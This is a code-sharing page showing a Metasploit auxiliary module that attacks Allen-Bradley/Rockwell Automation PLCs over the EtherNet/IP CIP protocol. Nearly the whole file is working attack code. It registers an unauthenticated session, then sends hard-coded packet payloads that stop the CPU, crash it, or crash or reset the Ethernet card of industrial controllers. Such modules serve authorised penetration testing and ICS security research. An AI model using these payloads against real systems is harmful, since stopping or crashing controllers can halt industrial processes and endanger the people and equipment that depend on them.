Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/multi_cip_command.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::Tcp
9
include Rex::Socket::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
16
'Description' => %q{
17
The EtherNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
18
implements the protocol. This module implements the CPU STOP command, as well as
19
the ability to crash the Ethernet card in an affected device.
20
21
This module is based on the original 'ethernetip-multi.rb' Basecamp module
22
from DigitalBond.
23
},
24
'Author' => [
25
'Ruben Santamarta <ruben[at]reversemode.com>',
26
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
27
'todb' # Metasploit fixups
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
32
],
33
'DisclosureDate' => '2012-01-19',
34
'Notes' => {
35
'Stability' => [CRASH_SERVICE_DOWN],
36
'SideEffects' => [IOC_IN_LOGS],
37
'Reliability' => []
38
}
39
)
40
)
41
42
register_options(
43
[
44
Opt::RPORT(44818),
45
# Note that OptEnum is case sensitive
46
OptEnum.new('ATTACK', [
47
true, 'The attack to use.', 'STOPCPU',
48
[
49
'STOPCPU',
50
'CRASHCPU',
51
'CRASHETHER',
52
'RESETETHER'
53
]
54
])
55
]
56
)
57
end
58
59
def run
60
attack = datastore['ATTACK']
61
print_status "#{rhost}:#{rport} - CIP - Running #{attack} attack."
62
sid = req_session
63
if sid
64
forge_packet(sid, payload(attack))
65
print_status "#{rhost}:#{rport} - CIP - #{attack} attack complete."
66
end
67
end
68
69
def forge_packet(sessionid, payload)
70
packet = ''
71
packet += "\x6f\x00" # command: Send request/reply data
72
packet += [payload.size - 0x10].pack('v') # encap length (2 bytes)
73
packet += [sessionid].pack('N') # session identifier (4 bytes)
74
packet += payload # payload part
75
begin
76
sock.put(packet)
77
rescue ::Interrupt
78
print_error("#{rhost}:#{rport} - CIP - Interrupt during payload")
79
raise $ERROR_INFO
80
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
81
print_error("#{rhost}:#{rport} - CIP - Network error during payload")
82
return nil
83
end
84
end
85
86
def req_session
87
begin
88
connect
89
packet = ''
90
packet += "\x65\x00" # ENCAP_CMD_REGISTERSESSION (2 bytes)
91
packet += "\x04\x00" # encaph_length (2 bytes)
92
packet += "\x00\x00\x00\x00" # session identifier (4 bytes)
93
packet += "\x00\x00\x00\x00" # status code (4 bytes)
94
packet += "\x00\x00\x00\x00\x00\x00\x00\x00" # context information (8 bytes)
95
packet += "\x00\x00\x00\x00" # options flags (4 bytes)
96
packet += "\x01\x00" # proto (2 bytes)
97
packet += "\x00\x00" # flags (2 bytes)
98
sock.put(packet)
99
response = sock.get_once
100
if response
101
session_id = begin
102
response[4..8].unpack('N')[0]
103
rescue StandardError
104
nil
105
end
106
if session_id
107
print_status("#{rhost}:#{rport} - CIP - Got session id: 0x" + session_id.to_s(16))
108
else
109
print_error("#{rhost}:#{rport} - CIP - Got invalid session id, aborting.")
110
return nil
111
end
112
else
113
raise ::Rex::ConnectionTimeout
114
end
115
rescue ::Interrupt
116
print_error("#{rhost}:#{rport} - CIP - Interrupt during session negotiation")
117
raise $ERROR_INFO
118
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused => e
119
print_error("#{rhost}:#{rport} - CIP - Network error during session negotiation: #{e}")
120
return nil
121
end
122
return session_id
123
end
124
125
def cleanup
126
disconnect
127
rescue StandardError
128
nil
129
end
130
131
def payload(attack)
132
case attack
133
when 'STOPCPU'
134
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # encapsulation -[payload.size-0x10]-
135
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" + # packet1
136
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x07\x02\x20\x64\x24\x01" + # packet2
137
"\xDE\xAD\xBE\xEF\xCA\xFE\x01\x00\x01\x00" # packet3
138
when 'CRASHCPU'
139
"\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x1a\x00" \
140
"\x52\x02\x20\x06\x24\x01\x03\xf0\x0c\x00\x0a\x02\x20\x02\x24\x01" \
141
"\xf4\xf0\x09\x09\x88\x04\x01\x00\x01\x00"
142
when 'CRASHETHER'
143
"\x00\x00\x00\x00\x20\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x0c\x00" \
144
"\x0e\x03\x20\xf5\x24\x01\x10\x43\x24\x01\x10\x43"
145
when 'RESETETHER'
146
"\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x08\x00" \
147
"\x05\x03\x20\x01\x24\x01\x30\x03"
148
else
149
print_error("#{rhost}:#{rport} - CIP - Invalid attack option.")
150
return nil
151
end
152
end
153
end
154
155